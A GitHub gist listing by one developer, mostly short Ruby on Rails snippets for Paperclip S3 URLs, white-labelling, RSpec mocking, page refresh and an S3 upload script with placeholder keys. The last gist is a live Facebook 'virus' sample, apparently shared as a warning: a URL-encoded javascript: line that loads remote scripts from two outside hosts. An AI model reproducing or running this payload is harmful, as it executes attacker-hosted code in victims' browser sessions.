Chris O'Sullivan thechrisoshow
thechrisoshow
/ attachment_extension.rb
Created
February 2, 2012 10:57
Have a failsafe s3 url for paperclip attachments
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| module Paperclip | |
| class Attachment | |
| def url_with_failsafe style = default_style, include_updated_timestamp = true | |
| unadorned_url = url_without_failsafe(style, include_updated_timestamp) | |
| if in_bucket_substitution_environment? && !exists? | |
| unadorned_url.sub(/\/#{bucket_name}\//, '/specle-production/') | |
| else | |
| unadorned_url | |
| end |
thechrisoshow
/ whitelabeling.rb
Created
August 16, 2011 10:43
How should I white label a Rails app?
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| class ApplicationController < ActionController::Base | |
| around_filter :set_white_label | |
| private | |
| def set_white_label | |
| subdomains = request.subdomains - RESERVED_SUBDOMAINS | |
| if subdomains.empty? | |
| yield | |
| return |
thechrisoshow
/ gist:1122925
Created
August 3, 2011 15:37
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| ***************************************************************** | |
| DEPRECATION WARNING: you are using deprecated behaviour that will | |
| be removed from a future version of RSpec. | |
| /Users/thechrisoshow/work/cvf/spec/models/booking_spec.rb:126:in `block (3 levels) in <top (required)>' | |
| * be_close(12.1, 0.01) is deprecated. | |
| * please use be_within(0.01).of(12.1) instead. | |
| ***************************************************************** |
thechrisoshow
/ mailer_spec.rb
Created
June 17, 2011 09:46
Testing email delivery in Rails 3 vs Rails 2
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| # Using rspec mocking: | |
| # Rails 2 method: | |
| UserMailer.should_receive(:deliver_signup) | |
| # Cumbersome Rails 3 method: | |
| mailer = mock | |
| mailer.should_receive(:deliver) | |
| UserMailer.should_receive(:signup).and_return(mailer) |
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| <meta http-equiv="refresh" content="10" /> |
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| // Ok, document.ready is jQuery - but you get the gist | |
| $(document).ready(function() { | |
| setTimeout(function() { | |
| location.href = location.href; | |
| }, 10000); | |
| // 10000 == 10 seconds | |
| // Change this if you want a different refresh period | |
| }); |
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| def dimensions | |
| dimensions = [] | |
| dimensions << height if height | |
| dimensions << width if width | |
| dimensions << depth if depth | |
| dimensions.join(" x ") | |
| end |
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| require 'rubygems' | |
| require 'aws/s3' | |
| # Change the access key and secret to your amazon credentials | |
| AWS::S3::Base.establish_connection!( | |
| :access_key_id => 'ACCESS_KEY_ID', | |
| :secret_access_key => 'SECRET' | |
| ) | |
| # Change this to your S3 bucket name | |
| WEBSITE_BUCKET_NAME = "YOUR_BUCKET_NAME" |
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| create_file '.rvmrc' do | |
| 'echo "RVM: Switching to Ruby 1.9.2"' | |
| 'rvm 1.9.2' | |
| end | |
| append_to_file '.gitignore', "*.sw?" | |
| gem('formtastic') | |
| gem('sass') | |
| gem("mysql2", :group => "production") |
thechrisoshow
/ gist:974500
Created
May 16, 2011 14:06
This is a facebook virus going around right now
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| javascript:(function()%7Bfunction%20s(src)%7Bvar%20script%20%3D%20document.createElement(%22script%22)%3Bscript.src%20%3D%20src%3Bdocument.body.appendChild(script)%3B%7Dvar%20rand%20%3D%20Math.floor(Math.random()*(100))%3Bs(%22http%3A%2F%2Fvideosurge.info%2Fverify.js%22)%3B%20if(rand%20%3C%3D%2025)%20s(%22http%3A%2F%2Fvideosurge.info%2Fconfig.js%22)%3Belse%20s(%22http%3A%2F%2Fbanfish.info%2Fconfig.js%22)%3B%7D)()%3B |